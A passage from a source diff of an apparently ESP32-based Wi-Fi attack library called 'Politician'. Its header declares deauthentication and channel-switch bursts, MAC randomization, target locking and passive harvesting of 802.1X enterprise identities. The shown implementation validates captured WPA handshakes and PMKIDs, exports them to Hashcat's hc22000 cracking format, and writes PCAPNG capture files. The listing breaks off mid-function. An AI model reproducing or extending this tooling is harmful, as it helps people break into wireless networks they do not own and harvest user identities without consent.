void setApFoundCallback(ApFoundCb cb) { _apFoundCb = cb; }
|
||||
|
||||
/**
|
||||
* @brief Sets an early filter callback. If it returns false, the AP is ignored completely.
|
||||
*/
|
||||
void setTargetFilter(FilterCb cb) { _filterCb = cb; }
|
||||
|
||||
/**
|
||||
* @brief Sets the callback for raw promiscuous mode packets.
|
||||
*/
|
||||
void setPacketLogger(PacketCb cb) { _packetCb = cb; }
|
||||
|
||||
/**
|
||||
* @brief Sets the callback for passive 802.1X Enterprise Identity harvesting.
|
||||
*/
|
||||
void setIdentityCallback(IdentityCb cb) { _identityCb = cb; }
|
||||
|
||||
private:
|
||||
static void IRAM_ATTR _promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type);
|
||||
static Politician *_instance;
|
||||
|
||||
void _handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type);
|
||||
void _handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, uint16_t len, int8_t rssi);
|
||||
void _handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload, uint16_t len, int8_t rssi);
|
||||
bool _parseEapol(const uint8_t *bssid, const uint8_t *sta,
|
||||
const uint8_t *eapol, uint16_t len, int8_t rssi);
|
||||
void _parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
|
||||
const uint8_t *eapol, uint16_t len, int8_t rssi);
|
||||
void _parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len);
|
||||
uint8_t _classifyEnc(const uint8_t *ie, uint16_t ie_len);
|
||||
|
||||
bool _active;
|
||||
uint8_t _channel;
|
||||
uint8_t _rxChannel;
|
||||
bool _hopping;
|
||||
uint32_t _lastHopMs;
|
||||
int8_t _lastRssi;
|
||||
uint8_t _hopIndex;
|
||||
uint8_t _attackMask;
|
||||
|
||||
bool _hasTarget;
|
||||
uint8_t _targetBssid[6];
|
||||
uint8_t _targetChannel;
|
||||
|
||||
bool _m1Locked;
|
||||
uint32_t _m1LockEndMs;
|
||||
|
||||
bool _probeLocked;
|
||||
uint32_t _probeLockEndMs;
|
||||
|
||||
uint8_t _customChannels[POLITICIAN_MAX_CHANNELS];
|
||||
uint8_t _customChannelCount;
|
||||
Config _cfg;
|
||||
Stats _stats;
|
||||
|
||||
LogCb _logCb = nullptr;
|
||||
ApFoundCb _apFoundCb = nullptr;
|
||||
FilterCb _filterCb = nullptr;
|
||||
EapolCb _eapolCb = nullptr;
|
||||
PacketCb _packetCb = nullptr;
|
||||
IdentityCb _identityCb = nullptr;
|
||||
|
||||
void _log(const char *fmt, ...);
|
||||
|
||||
static const int MAX_IGNORE = 128;
|
||||
uint8_t _ignoreList[MAX_IGNORE][6];
|
||||
uint8_t _ignoreCount;
|
||||
|
||||
static const int MAX_AP_CACHE = POLITICIAN_MAX_AP_CACHE;
|
||||
struct ApCacheEntry {
|
||||
bool active;
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
uint8_t ssid_len;
|
||||
uint8_t enc;
|
||||
uint8_t channel;
|
||||
uint32_t last_probe_ms;
|
||||
uint32_t last_stimulate_ms;
|
||||
bool has_active_clients;
|
||||
bool is_wpa3_only; // True if PMF is required and no WPA2 AKM offered
|
||||
};
|
||||
ApCacheEntry _apCache[MAX_AP_CACHE];
|
||||
int _apCacheCount;
|
||||
|
||||
void _cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
|
||||
uint8_t enc, uint8_t channel, bool is_wpa3_only = false);
|
||||
bool _lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len);
|
||||
|
||||
enum FishState : uint8_t { FISH_IDLE = 0, FISH_CONNECTING = 1, FISH_CSA_WAIT = 2 };
|
||||
FishState _fishState;
|
||||
uint32_t _fishStartMs;
|
||||
uint8_t _fishBssid[6];
|
||||
uint8_t _fishRetry;
|
||||
char _fishSsid[33];
|
||||
uint8_t _fishSsidLen;
|
||||
uint8_t _fishChannel;
|
||||
uint8_t _ownStaMac[6];
|
||||
bool _fishAuthLogged;
|
||||
bool _fishAssocLogged;
|
||||
bool _csaSecondBurstSent;
|
||||
|
||||
void _startFishing(const uint8_t *bssid, const char *ssid,
|
||||
uint8_t ssid_len, uint8_t channel);
|
||||
void _processFishing();
|
||||
void _randomizeMac();
|
||||
void _sendCsaBurst();
|
||||
void _sendDeauthBurst();
|
||||
void _markCapturedSsidGroup(const char *ssid, uint8_t ssid_len);
|
||||
void _markCaptured(const uint8_t *bssid);
|
||||
|
||||
static const int MAX_SESSIONS = POLITICIAN_MAX_SESSIONS;
|
||||
struct Session {
|
||||
bool active;
|
||||
uint8_t bssid[6];
|
||||
uint8_t sta[6];
|
||||
char ssid[33];
|
||||
uint8_t ssid_len;
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
uint8_t anonce[32];
|
||||
uint8_t mic[16];
|
||||
uint8_t eapol_m2[256];
|
||||
uint16_t eapol_m2_len;
|
||||
bool has_m1;
|
||||
bool has_m2;
|
||||
uint32_t created_ms;
|
||||
};
|
||||
Session _sessions[MAX_SESSIONS];
|
||||
|
||||
Session* _findSession(const uint8_t *bssid, const uint8_t *sta);
|
||||
Session* _createSession(const uint8_t *bssid, const uint8_t *sta);
|
||||
void _expireSessions(uint32_t timeoutMs);
|
||||
|
||||
static const int MAX_CAPTURED = POLITICIAN_MAX_CAPTURED;
|
||||
struct CapturedEntry {
|
||||
bool active;
|
||||
uint8_t bssid[6];
|
||||
};
|
||||
CapturedEntry _captured[MAX_CAPTURED];
|
||||
int _capturedCount;
|
||||
|
||||
bool _isCaptured(const uint8_t *bssid) const;
|
||||
|
||||
static const uint8_t HOP_SEQ[];
|
||||
static const uint8_t HOP_COUNT;
|
||||
};
|
||||
|
||||
} // namespace politician
|
||||
340
lib/Politician/src/PoliticianFormat.cpp
Normal file
340
lib/Politician/src/PoliticianFormat.cpp
Normal file
@@ -0,0 +1,340 @@
|
||||
#include "PoliticianFormat.h"
|
||||
|
||||
namespace politician {
|
||||
namespace format {
|
||||
|
||||
static void appendHex(String& str, const uint8_t* data, size_t len) {
|
||||
char buf[3];
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
sprintf(buf, "%02x", data[i]);
|
||||
str += buf;
|
||||
}
|
||||
}
|
||||
|
||||
static bool isAllZero(const uint8_t* data, size_t len) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (data[i] != 0) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
ValidationResult validateHandshakeRecord(const HandshakeRecord& rec) {
|
||||
if (rec.ssid_len == 0 || rec.ssid_len > 32) return ValidationResult::MISSING_ESSID;
|
||||
|
||||
if (rec.type == CAP_PMKID) {
|
||||
if (isAllZero(rec.pmkid, sizeof(rec.pmkid))) return ValidationResult::ZERO_PMKID;
|
||||
return ValidationResult::VALID;
|
||||
}
|
||||
|
||||
if (rec.type != CAP_EAPOL && rec.type != CAP_EAPOL_CSA) {
|
||||
return ValidationResult::UNSUPPORTED_TYPE;
|
||||
}
|
||||
if (!rec.has_anonce) return ValidationResult::MISSING_ANONCE;
|
||||
if (isAllZero(rec.anonce, sizeof(rec.anonce))) return ValidationResult::ZERO_ANONCE;
|
||||
if (!rec.has_mic) return ValidationResult::MISSING_MIC;
|
||||
if (isAllZero(rec.mic, sizeof(rec.mic))) return ValidationResult::ZERO_MIC;
|
||||
if (rec.eapol_m2_len == 0) return ValidationResult::MISSING_EAPOL;
|
||||
if (rec.eapol_m2_len > sizeof(rec.eapol_m2)) return ValidationResult::EAPOL_TOO_LARGE;
|
||||
return ValidationResult::VALID;
|
||||
}
|
||||
|
||||
const char* validationReason(ValidationResult result) {
|
||||
switch (result) {
|
||||
case ValidationResult::VALID: return "valid";
|
||||
case ValidationResult::UNSUPPORTED_TYPE: return "unsupported-type";
|
||||
case ValidationResult::MISSING_ESSID: return "missing-essid";
|
||||
case ValidationResult::ZERO_PMKID: return "zero-pmkid";
|
||||
case ValidationResult::MISSING_ANONCE: return "missing-anonce";
|
||||
case ValidationResult::ZERO_ANONCE: return "zero-anonce";
|
||||
case ValidationResult::MISSING_MIC: return "missing-mic";
|
||||
case ValidationResult::ZERO_MIC: return "zero-mic";
|
||||
case ValidationResult::MISSING_EAPOL: return "missing-eapol";
|
||||
case ValidationResult::EAPOL_TOO_LARGE: return "eapol-too-large";
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
String toHC22000(const HandshakeRecord& rec) {
|
||||
if (validateHandshakeRecord(rec) != ValidationResult::VALID) return String();
|
||||
|
||||
String out = "WPA*";
|
||||
|
||||
if (rec.type == CAP_PMKID) {
|
||||
out += "01*";
|
||||
appendHex(out, rec.pmkid, 16);
|
||||
out += "*";
|
||||
} else {
|
||||
out += "02*";
|
||||
appendHex(out, rec.mic, 16);
|
||||
out += "*";
|
||||
}
|
||||
|
||||
appendHex(out, rec.bssid, 6);
|
||||
out += "*";
|
||||
appendHex(out, rec.sta, 6);
|
||||
out += "*";
|
||||
appendHex(out, (const uint8_t*)rec.ssid, rec.ssid_len);
|
||||
out += "*";
|
||||
|
||||
if (rec.type == CAP_PMKID) {
|
||||
out += "**";
|
||||
} else {
|
||||
appendHex(out, rec.anonce, 32);
|
||||
out += "*";
|
||||
appendHex(out, rec.eapol_m2, rec.eapol_m2_len);
|
||||
out += "*";
|
||||
}
|
||||
|
||||
char pair[3];
|
||||
snprintf(pair, sizeof(pair), "%02x", rec.message_pair);
|
||||
out += pair;
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
size_t writePcapngGlobalHeader(uint8_t* buffer) {
|
||||
size_t offset = 0;
|
||||
|
||||
// 1. Section Header Block (SHB)
|
||||
uint32_t shb_type = 0x0A0D0D0A;
|
||||
uint32_t shb_len = 28;
|
||||
uint32_t magic = 0x1A2B3C4D;
|
||||
uint16_t v_major = 1;
|
||||
uint16_t v_minor = 0;
|
||||
int64_t section_len = -1;
|
||||
|
||||
memcpy(buffer + offset, &shb_type, 4); offset += 4;
|
||||
memcpy(buffer + offset, &shb_len, 4); offset += 4;
|
||||
memcpy(buffer + offset, &magic, 4); offset += 4;
|
||||
memcpy(buffer + offset, &v_major, 2); offset += 2;
|
||||
memcpy(buffer + offset, &v_minor, 2); offset += 2;
|
||||
memcpy(buffer + offset, §ion_len, 8); offset += 8;
|
||||
memcpy(buffer + offset, &shb_len, 4); offset += 4;
|
||||
|
||||
// 2. Interface Description Block (IDB)
|
||||
uint32_t idb_type = 0x00000001;
|
||||
uint32_t idb_len = 20;
|
||||
uint16_t link_type = 127; // IEEE 802.11 radiotap
|
||||
uint16_t reserved = 0;
|
||||
uint32_t snaplen = 65535;
|
||||
|
||||
memcpy(buffer + offset, &idb_type, 4); offset += 4;
|
||||
memcpy(buffer + offset, &idb_len, 4); offset += 4;
|
||||
memcpy(buffer + offset, &link_type, 2); offset += 2;
|
||||
memcpy(buffer + offset, &reserved, 2); offset += 2;
|
||||
memcpy(buffer + offset, &snaplen, 4); offset += 4;
|
||||
memcpy(buffer + offset, &idb_len, 4); offset += 4;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t writePcapngPacket(const uint8_t* payload, size_t payload_len, int8_t rssi, uint32_t ts_usec, uint8_t* buffer, size_t max_len) {
|
||||
uint8_t radiotap[8] = { 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
uint32_t cap_len = payload_len + 8;
|
||||
uint32_t pkt_len = payload_len + 8;
|
||||
uint32_t aligned_len = (cap_len + 3) & ~3;
|
||||
uint32_t padding = aligned_len - cap_len;
|
||||
uint32_t block_len = 32 + aligned_len;
|
||||
|
||||
if (block_len > max_len) return 0;
|
||||
|
||||
size_t offset = 0;
|
||||
uint32_t epb_type = 0x00000006;
|
||||
uint32_t interface_id = 0;
|
||||
uint32_t ts_high = 0;
|
||||
uint32_t ts_low = ts_usec;
|
||||
|
||||
memcpy(buffer + offset, &epb_type, 4); offset += 4;
|
||||
memcpy(buffer + offset, &block_len, 4); offset += 4;
|
||||
memcpy(buffer + offset, &interface_id, 4); offset += 4;
|
||||
memcpy(buffer + offset, &ts_high, 4); offset += 4;
|
||||
memcpy(buffer + offset, &ts_low, 4); offset += 4;
|
||||
memcpy(buffer + offset, &cap_len, 4); offset += 4;
|
||||
memcpy(buffer + offset, &pkt_len, 4); offset += 4;
|
||||
|
||||
memcpy(buffer + offset, radiotap, 8); offset += 8;
|
||||
memcpy(buffer + offset, payload, payload_len); offset += payload_len;
|
||||
|
||||
if (padding > 0) {
|
||||
uint32_t zero = 0;
|
||||
memcpy(buffer + offset, &zero, padding); offset += padding;
|
||||
}
|
||||
|
||||
memcpy(buffer + offset, &block_len, 4); offset += 4;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len) {
|
||||
return writeSyntheticPcapngRecord(rec, buffer, max_len);
|
||||
}
|
||||
|
||||
size_t writePcapngBeacon(const HandshakeRecord& rec, uint32_t ts_usec, uint8_t* buffer, size_t max_len) {
|
||||
if (rec.ssid_len == 0 || rec.ssid_len > 32) return 0;
|
||||
|
||||
uint8_t pkt[160];
|
||||
size_t p = 0;
|
||||
|
||||
// 802.11 beacon header.
|
||||
pkt[p++] = 0x80; pkt[p++] = 0x00; // Type Mgmt / Subtype Beacon
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // Duration
|
||||
for (int i = 0; i < 6; i++) pkt[p++] = 0xFF; // Broadcast DA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // SA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // BSSID
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // Seq/frag
|
||||
|
||||
memset(pkt + p, 0, 8); p += 8; // Timestamp
|
||||
pkt[p++] = 0x64; pkt[p++] = 0x00; // Beacon interval 100 TU
|
||||
pkt[p++] = 0x11; pkt[p++] = 0x04; // ESS + privacy
|
||||
|
||||
pkt[p++] = 0x00; pkt[p++] = rec.ssid_len; // SSID
|
||||
memcpy(pkt + p, rec.ssid, rec.ssid_len); p += rec.ssid_len;
|
||||
|
||||
pkt[p++] = 0x03; pkt[p++] = 0x01; pkt[p++] = rec.channel; // DS channel
|
||||
|
||||
// Minimal RSN IE: WPA2-PSK CCMP. The captured EAPOL/PMKID remains the
|
||||
// crackable material; this IE only supplies sane network context.
|
||||
static const uint8_t rsn[] = {
|
||||
0x30, 0x14, // RSN element, length 20
|
||||
0x01, 0x00, // Version 1
|
||||
0x00, 0x0F, 0xAC, 0x04, // Group cipher CCMP
|
||||
0x01, 0x00, // Pairwise cipher count
|
||||
0x00, 0x0F, 0xAC, 0x04, // Pairwise cipher CCMP
|
||||
0x01, 0x00, // AKM count
|
||||
0x00, 0x0F, 0xAC, 0x02, // PSK
|
||||
0x00, 0x00 // RSN capabilities
|
||||
};
|
||||
memcpy(pkt + p, rsn, sizeof(rsn)); p += sizeof(rsn);
|
||||
|
||||
return writePcapngPacket(pkt, p, rec.rssi, ts_usec, buffer, max_len);
|
||||
}
|
||||
|
||||
size_t writeSyntheticPcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len) {
|
||||
size_t offset = 0;
|
||||
uint8_t pkt[512];
|
||||
uint32_t ts = millis() * 1000;
|
||||
|
||||
// Packet 1: Beacon
|
||||
{
|
||||
size_t p = 0;
|
||||
// MAC Header (24 bytes): Frame Control(2), Dur(2), DA(6), SA(6), BSSID(6), Seq(2)
|
||||
pkt[p++] = 0x80; pkt[p++] = 0x00; pkt[p++] = 0x00; pkt[p++] = 0x00; // Type Mgmt / Subtype Beacon
|
||||
for (int i=0; i<6; i++) pkt[p++] = 0xFF; // Broadcast DA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // SA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // BSSID
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // Seq
|
||||
// Fixed params (12 bytes)
|
||||
memset(pkt + p, 0, 8); p += 8; // Timestamp
|
||||
pkt[p++] = 0x64; pkt[p++] = 0x00; // Beacon Interval (100)
|
||||
pkt[p++] = 0x11; pkt[p++] = 0x04; // Capabilities
|
||||
// Tagged params
|
||||
pkt[p++] = 0x00; pkt[p++] = rec.ssid_len; // SSID Tag
|
||||
memcpy(pkt + p, rec.ssid, rec.ssid_len); p += rec.ssid_len;
|
||||
pkt[p++] = 0x03; pkt[p++] = 0x01; pkt[p++] = rec.channel; // Channel Tag
|
||||
|
||||
size_t w = writePcapngPacket(pkt, p, -50, ts++, buffer + offset, max_len - offset);
|
||||
if (w == 0) return offset;
|
||||
offset += w;
|
||||
}
|
||||
|
||||
if (rec.type == CAP_PMKID) {
|
||||
// Packet 2: EAPOL M1 containing PMKID in Key Data
|
||||
size_t p = 0;
|
||||
pkt[p++] = 0x08; pkt[p++] = 0x02; pkt[p++] = 0x00; pkt[p++] = 0x00; // Data / QoS Data, FromDS=1
|
||||
memcpy(pkt + p, rec.sta, 6); p += 6; // DA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // SA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // BSSID
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // Seq
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // QoS Control
|
||||
|
||||
// LLC SNAP
|
||||
uint8_t snap[8] = { 0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8E };
|
||||
memcpy(pkt + p, snap, 8); p += 8;
|
||||
|
||||
// EAPOL Version 1, Type 3 (Key)
|
||||
pkt[p++] = 0x01; pkt[p++] = 0x03;
|
||||
|
||||
uint16_t eapol_len = 95 + 22; // Key Frame + 22 bytes Key Data (PMKID)
|
||||
pkt[p++] = (eapol_len >> 8); pkt[p++] = (eapol_len & 0xFF);
|
||||
|
||||
// EAPOL Key Frame (95 bytes without Key Data)
|
||||
uint8_t eapolPayload[95] = {0};
|
||||
eapolPayload[0] = 0x02; // Descriptor Type
|
||||
eapolPayload[1] = 0x00; eapolPayload[2] = 0x8A; // Key Info (Pairwise, Ack)
|
||||
eapolPayload[5] = 0x00; eapolPayload[6] = 0x00; eapolPayload[7] = 0x00; eapolPayload[8] = 0x00;
|
||||
eapolPayload[9] = 0x00; eapolPayload[10] = 0x00; eapolPayload[11] = 0x00; eapolPayload[12] = 0x01; // Replay Counter
|
||||
// Remaining is zeros
|
||||
eapolPayload[93] = 0x00; eapolPayload[94] = 0x16; // Key Data Len = 22
|
||||
|
||||
memcpy(pkt + p, eapolPayload, 95); p += 95;
|
||||
|
||||
// Key Data: PMKID = DD 14 00 0F AC 04 <16 bytes>
|
||||
pkt[p++] = 0xDD; pkt[p++] = 0x14; pkt[p++] = 0x00; pkt[p++] = 0x0F; pkt[p++] = 0xAC; pkt[p++] = 0x04;
|
||||
memcpy(pkt + p, rec.pmkid, 16); p += 16;
|
||||
|
||||
size_t w = writePcapngPacket(pkt, p, -50, ts++, buffer + offset, max_len - offset);
|
||||
if (w == 0) return offset;
|
||||
offset += w;
|
||||
|
||||
} else {
|
||||
// CAP_EAPOL/EAPOL_CSA
|
||||
// Packet 2: EAPOL M1 (AP -> STA)
|
||||
{
|
||||
size_t p = 0;
|
||||
pkt[p++] = 0x08; pkt[p++] = 0x02; pkt[p++] = 0x00; pkt[p++] = 0x00; // Data / QoS Data, FromDS=1
|
||||
memcpy(pkt + p, rec.sta, 6); p += 6; // DA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // SA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // BSSID
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // Seq
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // QoS Control
|
||||
|
||||
uint8_t snap[8] = { 0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8E };
|
||||
memcpy(pkt + p, snap, 8); p += 8;
|
||||
|
||||
pkt[p++] = 0x01; pkt[p++] = 0x03;
|
||||
uint16_t eapol_len = 95;
|
||||
pkt[p++] = (eapol_len >> 8); pkt[p++] = (eapol_len & 0xFF);
|
||||
|
||||
uint8_t eapolPayload[95] = {0};
|
||||
eapolPayload[0] = 0x02;
|
||||
eapolPayload[1] = 0x00; eapolPayload[2] = 0x8A; // Key Info
|
||||
eapolPayload[12] = 0x01; // Replay Counter
|
||||
memcpy(&eapolPayload[13], rec.anonce, 32); // Anonce
|
||||
|
||||
memcpy(pkt + p, eapolPayload, 95); p += 95;
|
||||
|
||||
size_t w = writePcapngPacket(pkt, p, -50, ts++, buffer + offset, max_len - offset);
|
||||
if (w == 0) return offset;
|
||||
offset += w;
|
||||
}
|
||||
|
||||
// Packet 3: EAPOL M2 (STA -> AP)
|
||||
{
|
||||
size_t p = 0;
|
||||
pkt[p++] = 0x08; pkt[p++] = 0x01; pkt[p++] = 0x00; pkt[p++] = 0x00; // Data / QoS Data, ToDS=1
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // DA
|
||||
memcpy(pkt + p, rec.sta, 6); p += 6; // SA
|
||||
memcpy(pkt + p, rec.bssid, 6); p += 6; // BSSID
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // Seq
|
||||
pkt[p++] = 0x00; pkt[p++] = 0x00; // QoS Control
|
||||
|
||||
uint8_t snap[8] = { 0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8E };
|
||||
memcpy(pkt + p, snap, 8); p += 8;
|
||||
|
||||
uint16_t eapol_len = rec.eapol_m2_len > 4 ? rec.eapol_m2_len - 4 : 0;
|
||||
if (eapol_len > 0) {
|
||||
// EAPOL Version + Type usually part of m2
|
||||
memcpy(pkt + p, rec.eapol_m2, rec.eapol_m2_len); p += rec.eapol_m2_len;
|
||||
}
|
||||
|
||||
size_t w = writePcapngPacket(pkt, p, -50, ts++, buffer + offset, max_len - offset);
|
||||
if (w == 0) return offset;
|
||||
offset += w;
|
||||
}
|
||||
}
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
} // namespace format
|
||||
} // namespace politician
|
||||
84
lib/Politician/src/PoliticianFormat.h
Normal file
84
lib/Politician/src/PoliticianFormat.h
Normal file
@@ -0,0 +1,84 @@
|
||||
#pragma once
|
||||
#include <Arduino.h>
|
||||
#include "PoliticianTypes.h"
|
||||
|
||||
namespace politician {
|
||||
namespace format {
|
||||
|
||||
enum class ValidationResult : uint8_t {
|
||||
VALID = 0,
|
||||
UNSUPPORTED_TYPE,
|
||||
MISSING_ESSID,
|
||||
ZERO_PMKID,
|
||||
MISSING_ANONCE,
|
||||
ZERO_ANONCE,
|
||||
MISSING_MIC,
|
||||
ZERO_MIC,
|
||||
MISSING_EAPOL,
|
||||
EAPOL_TOO_LARGE
|
||||
};
|
||||
|
||||
ValidationResult validateHandshakeRecord(const HandshakeRecord& rec);
|
||||
const char* validationReason(ValidationResult result);
|
||||
|
||||
/**
|
||||
* @brief Converts a captured HandshakeRecord into the Hashcat 22000 (hc22000) text format.
|
||||
*
|
||||
* The hc22000 format is an easily copyable string compatible with Hashcat and other modern cracking tools.
|
||||
*
|
||||
* @param rec The handshake record.
|
||||
* @return String containing the HC22000 line, or an empty string if unsupported.
|
||||
*/
|
||||
String toHC22000(const HandshakeRecord& rec);
|
||||
|
||||
/**
|
||||
* @brief Writes a PCAPNG Global Header (SHB + IDB).
|
||||
*
|
||||
* This must be written exactly once at the beginning of a `.pcapng` file.
|
||||
*
|
||||
* @param buffer Output buffer (must be at least 48 bytes).
|
||||
* @return Number of bytes written (always 48).
|
||||
*/
|
||||
size_t writePcapngGlobalHeader(uint8_t* buffer);
|
||||
|
||||
/**
|
||||
* @brief Serializes a HandshakeRecord into PCAPNG Enhanced Packet Blocks.
|
||||
*
|
||||
* @param rec The handshake record.
|
||||
* @param buffer Output buffer.
|
||||
* @param max_len Maximum length of the buffer. Recommended: 1024 bytes.
|
||||
* @return Number of bytes written, or 0 if buffer is too small.
|
||||
*/
|
||||
size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len);
|
||||
|
||||
/**
|
||||
* @brief Serializes a Raw 802.11 Frame into a PCAPNG Enhanced Packet Block.
|
||||
*
|
||||
* @param payload Raw 802.11 frame.
|
||||
* @param payload_len Length of the raw frame.
|
||||
* @param rssi Signal strength.
|
||||
* @param ts_usec Hardware microsecond timestamp.
|
||||
* @param buffer Output buffer.
|
||||
* @param max_len Maximum length of the buffer.
|
||||
* @return Number of bytes written, or 0 if buffer is too small.
|
||||
*/
|
||||
size_t writePcapngPacket(const uint8_t* payload, size_t payload_len, int8_t rssi, uint32_t ts_usec, uint8_t* buffer, size_t max_len);
|
||||
|
||||
/**
|
||||
* @brief Serializes a minimal beacon frame for a captured network.
|
||||
*
|
||||
* This is used to give PCAPNG importers the ESSID/BSSID/channel context for
|
||||
* raw EAPOL frames without logging high-volume live beacon traffic.
|
||||
*/
|
||||
size_t writePcapngBeacon(const HandshakeRecord& rec, uint32_t ts_usec, uint8_t* buffer, size_t max_len);
|
||||
|
||||
/**
|
||||
* @brief Serializes a HandshakeRecord into synthetic PCAPNG Enhanced Packet Blocks.
|
||||
*
|
||||
* This is a debug/export helper, not a raw capture. Prefer writePcapngPacket()
|
||||
* from setPacketLogger() data for capture-correct PCAPNG files.
|
||||
*/
|
||||
size_t writeSyntheticPcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len);
|
||||
|
||||
} // namespace format
|
||||
} // namespace politician
|
||||
313
lib/Politician/src/PoliticianStorage.h
Normal file
313
lib/Politician/src/PoliticianStorage.h
Normal file
@@ -0,0 +1,313 @@
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <FS.h>
|
||||
#include <Preferences.h>
|
||||
#include "Politician.h"
|
||||
#include "PoliticianFormat.h"
|
||||
|
||||
namespace politician {
|
||||
namespace storage {
|
||||
|
||||
/**
|
||||
* @brief Helper for writing raw 802.11 packets to PCAPNG files.
|
||||
*/
|
||||
class PcapngFileLogger {
|
||||
public:
|
||||
/**
|
||||
* @brief Appends a HandshakeRecord to a synthetic/debug PCAPNG file.
|
||||
*
|
||||
* This does not write original sniffer frames. Use appendPacket() for
|
||||
* capture-correct PCAPNG files.
|
||||
*
|
||||
* @param fs The filesystem (e.g., SD, LittleFS)
|
||||
* @param path The path to the file (e.g., "/captures.pcapng")
|
||||
* @param rec The HandshakeRecord to write
|
||||
* @return true if successful, false if file could not be opened
|
||||
*/
|
||||
static bool appendSyntheticRecord(fs::FS &fs, const char* path, const HandshakeRecord& rec) {
|
||||
bool isNew = !fs.exists(path);
|
||||
if (!isNew) {
|
||||
fs::File check = fs.open(path, FILE_READ);
|
||||
if (check) {
|
||||
isNew = (check.size() == 0);
|
||||
check.close();
|
||||
}
|
||||
}
|
||||
|
||||
fs::File file = fs.open(path, FILE_APPEND);
|
||||
if (!file) return false;
|
||||
|
||||
if (isNew) {
|
||||
uint8_t hdr[48];
|
||||
size_t hl = format::writePcapngGlobalHeader(hdr);
|
||||
file.write(hdr, hl);
|
||||
}
|
||||
|
||||
uint8_t buf[512];
|
||||
size_t len = format::writeSyntheticPcapngRecord(rec, buf, sizeof(buf));
|
||||
if (len > 0) {
|
||||
file.write(buf, len);
|
||||
file.flush();
|
||||
}
|
||||
file.close();
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool append(fs::FS &fs, const char* path, const HandshakeRecord& rec) {
|
||||
return appendSyntheticRecord(fs, path, rec);
|
||||
}
|
||||
|
||||
static bool appendBeacon(fs::FS &fs, const char* path, const HandshakeRecord& rec, uint32_t ts_usec) {
|
||||
bool isNew = !fs.exists(path);
|
||||
if (!isNew) {
|
||||
fs::File check = fs.open(path, FILE_READ);
|
||||
if (check) {
|
||||
isNew = (check.size() == 0);
|
||||
check.close();
|
||||
}
|
||||
}
|
||||
|
||||
fs::File file = fs.open(path, FILE_APPEND);
|
||||
if (!file) return false;
|
||||
|
||||
if (isNew) {
|
||||
uint8_t hdr[48];
|
||||
size_t hl = format::writePcapngGlobalHeader(hdr);
|
||||
file.write(hdr, hl);
|
||||
}
|
||||
|
||||
uint8_t buf[256];
|
||||
size_t len = format::writePcapngBeacon(rec, ts_usec, buf, sizeof(buf));
|
||||
if (len > 0) {
|
||||
file.write(buf, len);
|
||||
file.flush();
|
||||
}
|
||||
file.close();
|
||||
return len > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Appends a raw 802.11 sniffer frame to a PCAPNG file (used for intel gathering).
|
||||
*
|
||||
* @param fs The filesystem (e.g., SD, LittleFS)
|
||||
* @param path The path to the file (e.g., "/intel.pcapng")
|
||||
* @param payload Raw packet data
|
||||
* @param len Packet length
|
||||
* @param rssi Signal strength
|
||||
* @param ts_usec Hardware microsecond timestamp
|
||||
* @return true if successful, false otherwise
|
||||
*/
|
||||
static bool appendPacket(fs::FS &fs, const char* path, const uint8_t* payload, uint16_t len, int8_t rssi, uint32_t ts_usec) {
|
||||
bool isNew = !fs.exists(path);
|
||||
if (!isNew) {
|
||||
fs::File check = fs.open(path, FILE_READ);
|
||||
if (check) {
|
||||
isNew = (check.size() == 0);
|
||||
check.close();
|
||||
}
|
||||
}
|
||||
|
||||
fs::File file = fs.open(path, FILE_APPEND);
|
||||
if (!file) return false;
|
||||
|
||||
if (isNew) {
|
||||
uint8_t hdr[48];
|
||||
size_t hl = format::writePcapngGlobalHeader(hdr);
|
||||
file.write(hdr, hl);
|
||||
}
|
||||
|
||||
uint8_t buf[2500]; // Max 802.11 frame is 2346 bytes
|
||||
size_t wlen = format::writePcapngPacket(payload, len, rssi, ts_usec, buf, sizeof(buf));
|
||||
